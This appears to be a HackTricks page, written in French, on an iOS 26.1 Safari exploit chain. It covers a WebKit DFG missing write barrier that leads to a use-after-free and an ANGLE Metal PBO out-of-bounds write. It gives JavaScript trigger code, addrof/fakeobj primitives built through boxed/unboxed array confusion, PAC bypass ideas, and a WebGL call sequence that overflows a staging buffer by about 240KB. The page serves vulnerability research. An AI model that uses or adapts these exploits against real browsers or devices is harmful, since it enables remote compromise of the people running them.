WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Summary
- DFG Store Barrier bug (CVE-2025-43529) : Dans
DFGStoreBarrierInsertionPhase.cpp, un Phi node marqué “escaped” alors que ses Upsilon inputs ne le sont pas entraîne que la phase saute l’insertion d’une write barrier sur les stores d’objet suivants. Sous pression du GC, cela permet à JSC de free des objets encore atteignables → use-after-free. - Exploit target : Forcer un objet Date à matérialiser un butterfly (par ex.
a[0] = 1.1) afin que le butterfly soit libéré, puis réaffecté comme stockage des éléments d’un tableau pour créer une confusion boxed/unboxed → primitivesaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174) : Le backend Metal alloue le PBO staging buffer en utilisant
UNPACK_IMAGE_HEIGHTau lieu de la vraie hauteur de texture. Fournir une petite unpack height puis appeler untexImage2Dlarge provoque une staging-buffer OOB write (~240KB dans le PoC ci‑dessous). - PAC blockers on arm64e (iOS 26.1) : TypedArray
m_vectoret JSArraybutterflysont signés PAC ; forger des fake objects avec des pointeurs choisis par l’attaquant provoque un crashEXC_BAD_ACCESS/EXC_ARM_PAC. Seule la réutilisation de butterflies déjà signés (réinterprétation boxed/unboxed) fonctionne.
Déclenchement de la barrière DFG manquante → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Points clés :
- Place A dans old space pour exercer les barrières générationnelles.
- Créez un Date indexé pour que le butterfly soit la cible libérée.
- Spray
ArrayBuffer(0x800000)pour forcer le GC et élargir la race. - Le mismatch d’évasion Phi/Upsilon empêche l’insertion de la barrière ;
b.p1 = as’exécute without a write barrier, donc le GC récupèrea/butterfly.
Récupération du butterfly → confusion boxed/unboxed
Après que le GC ait libéré le butterfly de la Date, spray des arrays pour que la slab libérée soit réutilisée comme éléments pour deux arrays avec différents element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Statut sur iOS 26.1 (arm64e):
- Fonctionnel :
addrof,fakeobj, 20+ address leaks par exécution, inline-slot read/write (on known inline fields). - Pas encore stable : generalized
read64/write64via inline-slot backings.
Contraintes PAC sur arm64e (pourquoi fake objects plantent)
- TypedArray
m_vectoret JSArraybutterflysont PAC-signed ; forger des pointeurs entraîneEXC_BAD_ACCESS/ probablementEXC_ARM_PAC. - La primitive de confusion fonctionne parce qu’elle réutilise des butterflies signés légitimes ; l’introduction d’attacker pointers non signés échoue l’authentification.
- Idées potentielles de contournement notées : chemins JIT qui sautent l’auth, gadgets qui signent attacker pointers, ou pivot via l’ANGLE OOB.
Sous-allocation ANGLE Metal PBO → OOB write
Utilisez une très petite unpack height pour réduire le staging buffer, puis uploadez une large texture afin que la copie déborde :
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Remarques:
- Bug dans
TextureMtl.cpp: le staging buffer utiliseUNPACK_IMAGE_HEIGHTau lieu de la hauteur réelle de la texture sur le chemin PBO. - Dans la sonde référencée, le déclencheur WebGL2 PBO est mis en place mais n’a pas encore été observé de façon fiable sur iOS 26.1.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

